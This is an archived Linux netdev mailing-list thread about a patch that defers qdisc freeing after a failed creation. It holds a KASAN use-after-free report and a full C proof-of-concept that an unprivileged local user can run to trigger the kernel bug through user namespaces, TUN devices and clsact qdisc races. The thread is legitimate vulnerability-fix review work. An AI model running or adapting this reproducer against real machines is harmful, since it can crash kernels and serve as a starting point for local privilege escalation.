* Re: [PATCH net] net/sched: defer qdisc freeing after failed creation 2026-08-13 1:22 ` Jakub Kicinski @ 2026-08-17 9:06 ` David Lee 2026-08-17 16:29 ` Jakub Kicinski 0 siblings, 1 reply; 6+ messages in thread From: David Lee @ 2026-08-17 9:06 UTC (permalink / raw) To: Jakub Kicinski Cc: Jamal Hadi Salim, davem, edumazet, pabeni, jiri, Kyle Zeng, Dominik 'Disconnect3d' Czarnota, horms, netdev, linux-kernel [-- Attachment #1.1: Type: text/plain, Size: 2543 bytes --] Hi Jakub, Apologies for the confusion. I've reattached the correct reproducer. ======== Affected Versions ======= Runtime reproduction: Linux 7.2.0-rc3-kasan Confirmed vulnerable revision: f5098b6bae761e346ebcd9da7f95622c04733cff (Linux 7.2-rc5) Latest inspected vulnerable revisions: * 62cc90241548d5570ee68e01aaba6506964e9811 (Torvalds master) * 9d8da8e0a9bce4a340af60dd0446bc7eb8d07587 (net main) Introduced by: 51ab2994c387c80b45caf8b8067b3f3b97771d25 ("net: sched: allow ingress and clsact qdiscs to share filter blocks") https://github.com/torvalds/linux/commit/51ab2994c387c80b45caf8b8067b3f3b97771d25 Required Configs for the Vulnerability: * CONFIG_NET_SCHED * CONFIG_NET_SCH_INGRESS * CONFIG_NET_CLS_ACT Additional Configs used by the Proof-of-Concept: * CONFIG_NET_CLS_BPF * CONFIG_TUN * CONFIG_USER_NS * CONFIG_NET_NS * CONFIG_KASAN ========== Reproduction ========== Step 1: Build and boot a KASAN-enabled kernel with the configurations listed above. Step 2: Statically compile the attached `poc.c`: ~ gcc -static -O2 -Wall -Wextra -pthread -o poc poc.c ~ Step 3: Run `./poc` as a regular local user. The program creates an owned user and network namespace, two TUN interfaces, and a populated shared ingress block. It sends ingress traffic while repeatedly requesting a `clsact` qdisc with the shared block and the invalid rate estimator. Step 4: Because this is a race, triggering time varies. The validated run reported: ~ BUG: KASAN: slab-use-after-free in tc_run+0x5e3/0x620 Read of size 8 ... by task poc/... Freed by task ...: kfree qdisc_free qdisc_create tc_modify_qdisc ~ The complete KASAN report is attached as `splash.txt`. Best regards, David On Wed, Aug 12, 2026 at 9:22 PM Jakub Kicinski <kuba@kernel.org> wrote: > On Tue, 11 Aug 2026 00:58:27 +0900 David Lee wrote: > > [ 230.057740] ipip: IPv4 and MPLS over IPv4 tunneling driver > > [ 231.667279] > > ================================================================== > > [ 231.667738] BUG: KASAN: stack-out-of-bounds in > > __ip_options_echo+0xdf7/0x1860 > > I'm struggling to see how this is a repro for the qdisc lifecycle bug > > In any case -- if the fix is really correct and there's some real repro > shared off list - I think you're deleting the last caller of > qdisc_free() so you should inline it into qdisc_free_cb() > > So patch as is needs to be refactored. But please don't repost just > to refactor, we need a convincing repro first. > [-- Attachment #1.2: Type: text/html, Size: 3136 bytes --] [-- Attachment #2: splash.txt --] [-- Type: text/plain, Size: 8382 bytes --] [ 232.894671] ================================================================== [ 232.894793] BUG: KASAN: slab-use-after-free in tc_run+0x5e3/0x620 [ 232.894793] Read of size 8 at addr ffff8881032c51e8 by task poc/1272 [ 232.894793] [ 232.894793] CPU: 3 UID: 1000 PID: 1272 Comm: poc Not tainted 7.2.0-rc3-kasan #1 PREEMPT(lazy) [ 232.894793] Hardware name: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014 [ 232.894793] Call Trace: [ 232.894793] <TASK> [ 232.894793] dump_stack_lvl+0x5f/0x90 [ 232.894793] print_report+0x15b/0x4ec [ 232.894793] ? __pfx__raw_spin_lock_irqsave+0x10/0x10 [ 232.894793] ? kasan_complete_mode_report_info+0x88/0x230 [ 232.894793] kasan_report+0xf2/0x130 [ 232.894793] ? tc_run+0x5e3/0x620 [ 232.894793] ? tc_run+0x5e3/0x620 [ 232.894793] __asan_report_load8_noabort+0x14/0x30 [ 232.894793] tc_run+0x5e3/0x620 [ 232.894793] ? __pfx_tc_run+0x10/0x10 [ 232.894793] __netif_receive_skb_core.constprop.0+0x9cc/0x31e0 [ 232.894793] ? __pfx___skb_flow_dissect+0x10/0x10 [ 232.894793] ? __pfx___netif_receive_skb_core.constprop.0+0x10/0x10 [ 232.894793] ? lapic_next_event+0x15/0x30 [ 232.894793] ? clockevents_program_event+0x2bd/0x750 [ 232.894793] ? ktime_get+0x100/0x190 [ 232.894793] ? __alloc_skb+0x34c/0xa10 [ 232.894793] ? lapic_next_event+0x15/0x30 [ 232.894793] ? __pfx_clockevents_program_event+0x10/0x10 [ 232.894793] ? __kasan_check_write+0x14/0x30 [ 232.894793] ? _raw_spin_lock+0x82/0xf0 [ 232.894793] __netif_receive_skb_one_core+0xa5/0x1d0 [ 232.894793] ? tick_program_event+0x69/0x130 [ 232.894793] ? __pfx___netif_receive_skb_one_core+0x10/0x10 [ 232.894793] ? __hrtimer_rearm_deferred+0x18a/0x520 [ 232.894793] ? sysvec_apic_timer_interrupt+0x54/0xd0 [ 232.894793] ? irqentry_exit+0x1cd/0x7b0 [ 232.894793] __netif_receive_skb+0x1c/0x160 [ 232.894793] netif_receive_skb+0x2f3/0x420 [ 232.894793] ? asm_sysvec_apic_timer_interrupt+0x1b/0x20 [ 232.894793] ? __pfx_netif_receive_skb+0x10/0x10 [ 232.894793] tun_get_user+0x2208/0x3c40 [ 232.894793] ? aa_file_perm+0x544/0xf20 [ 232.894793] ? __pfx_tun_get_user+0x10/0x10 [ 232.894793] ? rcu_sched_clock_irq+0xf08/0x2310 [ 232.894793] ? apparmor_file_permission+0x14d/0x500 [ 232.894793] ? __pfx_apparmor_file_permission+0x10/0x10 [ 232.894793] ? update_cfs_group+0x218/0x380 [ 232.894793] tun_chr_write_iter+0x176/0x2a0 [ 232.894793] ? tun_chr_write_iter+0x176/0x2a0 [ 232.894793] ? __pfx_run_posix_cpu_timers+0x10/0x10 [ 232.894793] vfs_write+0x580/0xf70 [ 232.894793] ? perf_event_task_tick+0x92/0x1d0 [ 232.894793] ? __pfx_vfs_write+0x10/0x10 [ 232.894793] ? __kasan_check_write+0x14/0x30 [ 232.894793] ? __kasan_check_write+0x14/0x30 [ 232.894793] ? fdget_pos+0x420/0x600 [ 232.894793] ksys_write+0x104/0x240 [ 232.894793] ? __pfx_ksys_write+0x10/0x10 [ 232.894793] ? lapic_next_event+0x15/0x30 [ 232.894793] ? clockevents_program_event+0x2bd/0x750 [ 232.894793] __x64_sys_write+0x72/0xd0 [ 232.894793] ? ktime_get_update_offsets_now+0x1d5/0x400 [ 232.894793] x64_sys_call+0x22f/0x2390 [ 232.894793] do_syscall_64+0xdd/0x640 [ 232.894793] ? __kasan_check_write+0x14/0x30 [ 232.894793] ? _raw_spin_lock+0x82/0xf0 [ 232.894793] ? __pfx__raw_spin_lock+0x10/0x10 [ 232.894793] ? tick_program_event+0x69/0x130 [ 232.894793] ? __kasan_check_read+0x11/0x20 [ 232.894793] ? fpregs_assert_state_consistent+0x5c/0x100 [ 232.894793] ? irqentry_exit+0x3f/0x7b0 [ 232.894793] ? __irq_exit_rcu+0x45/0x250 [ 232.894793] ? __sysvec_apic_timer_interrupt+0x91/0x320 [ 232.894793] ? do_syscall_64+0x94/0x640 [ 232.894793] entry_SYSCALL_64_after_hwframe+0x76/0x7e [ 232.894793] RIP: 0033:0x440692 [ 232.910990] Code: 08 0f 85 f1 de ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 f3 0f 1e fa 55 48 89 e5 [ 232.911028] RSP: 002b:000070c4801be188 EFLAGS: 00000246 ORIG_RAX: 0000000000000001 [ 232.911028] RAX: ffffffffffffffda RBX: 00007ffdcdd87380 RCX: 0000000000440692 [ 232.911028] RDX: 0000000000000040 RSI: 00000000004a8500 RDI: 0000000000000004 [ 232.911028] RBP: 000070c4801be1b0 R08: 0000000000000000 R09: 0000000000000000 [ 232.911028] R10: 0000000000000000 R11: 0000000000000246 R12: 000070c4801be6c0 [ 232.911028] R13: 00007ffdcdd87170 R14: 000070c4801bece4 R15: 00007ffdcdd87267 [ 232.911028] </TASK> [ 232.911028] [ 232.934520] Allocated by task 1267 on cpu 0 at 232.847363s: [ 232.934520] kasan_save_stack+0x3a/0x70 [ 232.934520] kasan_save_track+0x18/0x70 [ 232.934520] kasan_save_alloc_info+0x39/0x60 [ 232.934520] __kasan_kmalloc+0xa9/0xd0 [ 232.934520] __kmalloc_node_noprof+0x208/0x630 [ 232.934520] qdisc_alloc+0xba/0x7a0 [ 232.934520] qdisc_create+0x6e/0xc80 [ 232.934520] tc_modify_qdisc+0xab5/0x1ff0 [ 232.934520] rtnetlink_rcv_msg+0x34f/0xb00 [ 232.934520] netlink_rcv_skb+0x147/0x400 [ 232.934520] rtnetlink_rcv+0x15/0x30 [ 232.934520] netlink_unicast+0x796/0xb30 [ 232.934520] netlink_sendmsg+0x770/0xc70 [ 232.934520] ____sys_sendmsg+0x95d/0xc50 [ 232.934520] ___sys_sendmsg+0x101/0x1a0 [ 232.934520] __sys_sendmsg+0x127/0x1e0 [ 232.934520] __x64_sys_sendmsg+0x77/0xd0 [ 232.934520] x64_sys_call+0x20d2/0x2390 [ 232.934520] do_syscall_64+0xdd/0x640 [ 232.934520] entry_SYSCALL_64_after_hwframe+0x76/0x7e [ 232.934520] [ 232.934520] Freed by task 1267 on cpu 0 at 232.854692s: [ 232.934520] kasan_save_stack+0x3a/0x70 [ 232.934520] kasan_save_track+0x18/0x70 [ 232.934520] kasan_save_free_info+0x3b/0x70 [ 232.934520] __kasan_slab_free+0x7a/0xb0 [ 232.934520] kfree+0x1bd/0x510 [ 232.934520] qdisc_free+0x9c/0xd0 [ 232.934520] qdisc_create+0x5b0/0xc80 [ 232.934520] tc_modify_qdisc+0xab5/0x1ff0 [ 232.934520] rtnetlink_rcv_msg+0x34f/0xb00 [ 232.934520] netlink_rcv_skb+0x147/0x400 [ 232.934520] rtnetlink_rcv+0x15/0x30 [ 232.934520] netlink_unicast+0x796/0xb30 [ 232.934520] netlink_sendmsg+0x770/0xc70 [ 232.934520] ____sys_sendmsg+0x95d/0xc50 [ 232.934520] ___sys_sendmsg+0x101/0x1a0 [ 232.934520] __sys_sendmsg+0x127/0x1e0 [ 232.934520] __x64_sys_sendmsg+0x77/0xd0 [ 232.934520] x64_sys_call+0x20d2/0x2390 [ 232.934520] do_syscall_64+0xdd/0x640 [ 232.934520] entry_SYSCALL_64_after_hwframe+0x76/0x7e [ 232.934520] [ 232.934520] The buggy address belongs to the object at ffff8881032c5000 [ 232.934520] which belongs to the cache kmalloc-part-02-1k of size 1024 [ 232.934520] The buggy address is located 488 bytes inside of [ 232.934520] freed 1024-byte region [ffff8881032c5000, ffff8881032c5400) [ 232.934520] [ 232.934520] The buggy address belongs to the physical page: [ 232.934520] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff8881032c6800 pfn:0x1032c0 [ 232.934520] head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0 [ 232.934520] flags: 0x17ffffc0000240(workingset|head|node=0|zone=2|lastcpupid=0x1fffff) [ 232.934520] page_type: f5(slab) [ 232.934520] raw: 0017ffffc0000240 ffff888100048f00 ffff888100041290 ffffea0004071610 [ 232.934520] raw: ffff8881032c6800 000000080010000e 00000000f5000000 0000000000000000 [ 232.934520] head: 0017ffffc0000240 ffff888100048f00 ffff888100041290 ffffea0004071610 [ 232.934520] head: ffff8881032c6800 000000080010000e 00000000f5000000 0000000000000000 [ 232.934520] head: 0017ffffc0000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff [ 232.934520] head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000008 [ 232.934520] page dumped because: kasan: bad access detected [ 232.934520] [ 232.934520] Memory state around the buggy address: [ 232.934520] ffff8881032c5080: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 232.934520] ffff8881032c5100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 232.934520] >ffff8881032c5180: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 232.934520] ^ [ 232.934520] ffff8881032c5200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 232.934520] ffff8881032c5280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 232.934520] ================================================================== [ 233.001266] Disabling lock debugging due to kernel taint [-- Attachment #3: poc.c --] [-- Type: application/octet-stream, Size: 9157 bytes --] #define _GNU_SOURCE #include <arpa/inet.h> #include <errno.h> #include <fcntl.h> #include <linux/filter.h> #include <linux/if_ether.h> #include <linux/if_tun.h> #include <linux/netlink.h> #include <linux/pkt_cls.h> #include <linux/pkt_sched.h> #include <linux/rtnetlink.h> #include <net/if.h> #include <pthread.h> #include <sched.h> #include <stdatomic.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/sysmacros.h> #include <sys/types.h> #include <unistd.h> #define TUN_FALLBACK_DIR "/tmp/1328_net_sched_qdisc_core_security_audit__finding_002" #define TUN_FALLBACK_PATH TUN_FALLBACK_DIR "/tun" struct tc_estimator_local { int8_t interval; uint8_t ewma_log; }; struct nl_req { struct nlmsghdr nlh; struct tcmsg tcm; char buf[65536]; }; struct writer_arg { int fd; int cpu; }; static atomic_bool stop_writers; static uint32_t nl_seq; static void fatal(const char *what) { fprintf(stderr, "%s: %s\n", what, strerror(errno)); exit(1); } static void fatal_nl(const char *what, int err) { fprintf(stderr, "%s: %s\n", what, strerror(-err)); exit(1); } static void write_file(const char *path, const char *value) { size_t len = strlen(value); int fd = open(path, O_WRONLY); if (fd < 0) fatal(path); if (write(fd, value, len) != (ssize_t)len) fatal(path); close(fd); } static void setup_user_netns(void) { char map[64]; uid_t uid = getuid(); gid_t gid = getgid(); if (unshare(CLONE_NEWUSER) < 0) fatal("unshare(CLONE_NEWUSER)"); snprintf(map, sizeof(map), "0 %u 1\n", uid); write_file("/proc/self/uid_map", map); write_file("/proc/self/setgroups", "deny\n"); snprintf(map, sizeof(map), "0 %u 1\n", gid); write_file("/proc/self/gid_map", map); if (setresgid(0, 0, 0) < 0 || setresuid(0, 0, 0) < 0) fatal("setresuid/setresgid"); if (unshare(CLONE_NEWNET) < 0) fatal("unshare(CLONE_NEWNET)"); } static int open_tun(void) { int fd = open("/dev/net/tun", O_RDWR | O_CLOEXEC); if (fd >= 0) return fd; if (mkdir(TUN_FALLBACK_DIR, 0700) < 0 && errno != EEXIST) fatal("mkdir(TUN_FALLBACK_DIR)"); if (mknod(TUN_FALLBACK_PATH, S_IFCHR | 0600, makedev(10, 200)) < 0 && errno != EEXIST) fatal("mknod(TUN_FALLBACK_PATH)"); fd = open(TUN_FALLBACK_PATH, O_RDWR | O_CLOEXEC); if (fd < 0) fatal("open(tun)"); return fd; } static int create_tun(const char *name) { struct ifreq ifr = {}; int fd = open_tun(); ifr.ifr_flags = IFF_TUN | IFF_NO_PI; strncpy(ifr.ifr_name, name, IFNAMSIZ - 1); if (ioctl(fd, TUNSETIFF, &ifr) < 0) fatal("TUNSETIFF"); return fd; } static void set_if_up(const char *name) { struct ifreq ifr = {}; int fd = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0); if (fd < 0) fatal("socket(AF_INET)"); strncpy(ifr.ifr_name, name, IFNAMSIZ - 1); if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0) fatal("SIOCGIFFLAGS"); ifr.ifr_flags |= IFF_UP; if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) fatal("SIOCSIFFLAGS"); close(fd); } static struct rtattr *addattr(struct nlmsghdr *nlh, size_t maxlen, uint16_t type, const void *data, size_t len) { size_t attr_len = RTA_LENGTH(len); size_t new_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(attr_len); struct rtattr *rta; if (new_len > maxlen) { errno = EMSGSIZE; fatal("addattr"); } rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); rta->rta_type = type; rta->rta_len = attr_len; if (len) memcpy(RTA_DATA(rta), data, len); nlh->nlmsg_len = new_len; return rta; } static struct rtattr *nest_start(struct nlmsghdr *nlh, size_t maxlen, uint16_t type) { return addattr(nlh, maxlen, type | NLA_F_NESTED, NULL, 0); } static void nest_end(struct nlmsghdr *nlh, struct rtattr *nest) { nest->rta_len = (char *)nlh + nlh->nlmsg_len - (char *)nest; } static int rtnl_open(void) { struct sockaddr_nl addr = { .nl_family = AF_NETLINK }; int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_ROUTE); if (fd < 0) fatal("socket(NETLINK_ROUTE)"); if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) fatal("bind(NETLINK_ROUTE)"); return fd; } static int rtnl_ack(int fd, struct nlmsghdr *nlh) { struct sockaddr_nl addr = { .nl_family = AF_NETLINK }; char buf[4096]; struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len }; struct msghdr msg = { .msg_name = &addr, .msg_namelen = sizeof(addr), .msg_iov = &iov, .msg_iovlen = 1, }; nlh->nlmsg_seq = ++nl_seq; if (sendmsg(fd, &msg, 0) < 0) fatal("sendmsg"); for (;;) { ssize_t len = recv(fd, buf, sizeof(buf), 0); struct nlmsghdr *h; if (len < 0) fatal("recv"); for (h = (struct nlmsghdr *)buf; NLMSG_OK(h, len); h = NLMSG_NEXT(h, len)) { struct nlmsgerr *err; if (h->nlmsg_seq != nlh->nlmsg_seq || h->nlmsg_type != NLMSG_ERROR) continue; err = NLMSG_DATA(h); return err->error; } } } static void req_init(struct nl_req *req, uint16_t type, uint16_t flags, int ifindex, uint32_t handle, uint32_t parent, uint32_t info) { memset(req, 0, sizeof(*req)); req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(req->tcm)); req->nlh.nlmsg_type = type; req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags; req->tcm.tcm_family = AF_UNSPEC; req->tcm.tcm_ifindex = ifindex; req->tcm.tcm_handle = handle; req->tcm.tcm_parent = parent; req->tcm.tcm_info = info; } static int create_clsact(int nl, int ifindex, uint32_t block, bool bad_rate) { struct tc_estimator_local est = { .interval = 4, .ewma_log = 1 }; struct nl_req req; req_init(&req, RTM_NEWQDISC, NLM_F_CREATE | NLM_F_EXCL, ifindex, TC_H_MAKE(TC_H_CLSACT, 0), TC_H_CLSACT, 0); addattr(&req.nlh, sizeof(req), TCA_KIND, "clsact", sizeof("clsact")); addattr(&req.nlh, sizeof(req), TCA_INGRESS_BLOCK, &block, sizeof(block)); if (bad_rate) addattr(&req.nlh, sizeof(req), TCA_RATE, &est, sizeof(est)); return rtnl_ack(nl, &req.nlh); } static int install_slow_drop_filter(int nl, uint32_t block) { struct sock_filter *ops; struct nl_req req; struct rtattr *opts; uint16_t ops_len = BPF_MAXINSNS; uint32_t flags = TCA_BPF_FLAG_ACT_DIRECT; uint32_t info = TC_H_MAKE(1U << 16, htons(ETH_P_ALL)); int i; ops = calloc(BPF_MAXINSNS, sizeof(*ops)); if (!ops) fatal("calloc(cbpf)"); /* * tc_run() uses the miniq again for the drop-stat update after classify(). * A maximum-length classic BPF program widens the interval between the * initial miniq load and that later access without needing eBPF. */ for (i = 0; i < BPF_MAXINSNS - 1; i++) { ops[i].code = BPF_LD | BPF_B | BPF_ABS; ops[i].k = 0; } ops[BPF_MAXINSNS - 1].code = BPF_RET | BPF_K; ops[BPF_MAXINSNS - 1].k = TC_ACT_SHOT; req_init(&req, RTM_NEWTFILTER, NLM_F_CREATE | NLM_F_EXCL, TCM_IFINDEX_MAGIC_BLOCK, 0, block, info); addattr(&req.nlh, sizeof(req), TCA_KIND, "bpf", sizeof("bpf")); opts = nest_start(&req.nlh, sizeof(req), TCA_OPTIONS); addattr(&req.nlh, sizeof(req), TCA_BPF_OPS_LEN, &ops_len, sizeof(ops_len)); addattr(&req.nlh, sizeof(req), TCA_BPF_OPS, ops, BPF_MAXINSNS * sizeof(*ops)); addattr(&req.nlh, sizeof(req), TCA_BPF_FLAGS, &flags, sizeof(flags)); nest_end(&req.nlh, opts); free(ops); return rtnl_ack(nl, &req.nlh); } static void pin_cpu(int cpu) { cpu_set_t set; CPU_ZERO(&set); CPU_SET(cpu, &set); if (sched_setaffinity(0, sizeof(set), &set) < 0) fatal("sched_setaffinity"); } static void *packet_writer(void *opaque) { static const unsigned char packet[64] = { 0x45, 0x00, 0x00, 0x40, 0x00, 0x01, 0x00, 0x00, 0x40, 0x11, 0x00, 0x00, 0x7f, 0x00, 0x00, 0x01, 0x7f, 0x00, 0x00, 0x01, }; struct writer_arg *arg = opaque; pin_cpu(arg->cpu); while (!atomic_load_explicit(&stop_writers, memory_order_relaxed)) { ssize_t ignored = write(arg->fd, packet, sizeof(packet)); (void)ignored; } return NULL; } int main(void) { enum { WRITERS = 3, ATTEMPTS = 100000 }; struct writer_arg args[WRITERS]; pthread_t threads[WRITERS]; uint32_t block = 1; unsigned int owner_ifindex, victim_ifindex; int owner_fd, victim_fd, nl; int err, i; setup_user_netns(); owner_fd = create_tun("tun0"); victim_fd = create_tun("tun1"); set_if_up("tun0"); set_if_up("tun1"); owner_ifindex = if_nametoindex("tun0"); victim_ifindex = if_nametoindex("tun1"); if (!owner_ifindex || !victim_ifindex) fatal("if_nametoindex"); nl = rtnl_open(); err = create_clsact(nl, owner_ifindex, block, false); if (err) fatal_nl("create owner clsact", err); err = install_slow_drop_filter(nl, block); if (err) fatal_nl("install cBPF filter", err); for (i = 0; i < WRITERS; i++) { args[i].fd = victim_fd; args[i].cpu = i + 1; if (pthread_create(&threads[i], NULL, packet_writer, &args[i])) fatal("pthread_create"); } pin_cpu(0); for (i = 0; i < ATTEMPTS; i++) { err = create_clsact(nl, victim_ifindex, block, true); if (err != -EINVAL) { fprintf(stderr, "failing clsact create returned %d\n", err); exit(1); } } atomic_store_explicit(&stop_writers, true, memory_order_relaxed); for (i = 0; i < WRITERS; i++) pthread_join(threads[i], NULL); close(nl); close(victim_fd); close(owner_fd); return 0; } ^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: [PATCH net] net/sched: defer qdisc freeing after failed creation 2026-08-17 9:06 ` David Lee @ 2026-08-17 16:29 ` Jakub Kicinski 0 siblings, 0 replies; 6+ messages in thread From: Jakub Kicinski @ 2026-08-17 16:29 UTC (permalink / raw) To: David Lee Cc: Jamal Hadi Salim, davem, edumazet, pabeni, jiri, Kyle Zeng, Dominik 'Disconnect3d' Czarnota, horms, netdev, linux-kernel On Mon, 17 Aug 2026 05:06:01 -0400 David Lee wrote: > Apologies for the confusion. I've reattached the correct reproducer. please see my feedback on the change itself (if you haven't) ^ permalink raw reply [flat|nested] 6+ messages in thread
end of thread, other threads:[~2026-08-17 16:29 UTC | newest] Thread overview: 6+ messages (download: mbox.gz follow: Atom feed -- links below jump to the message on this page -- 2026-08-05 10:25 [PATCH net] net/sched: defer qdisc freeing after failed creation David Lee 2026-08-05 18:00 ` Jamal Hadi Salim 2026-08-10 15:58 ` David Lee 2026-08-13 1:22 ` Jakub Kicinski 2026-08-17 9:06 ` David Lee 2026-08-17 16:29 ` Jakub Kicinski
This is an external index of several public inboxes, see mirroring instructions on how to clone and mirror all data and code used by this external index.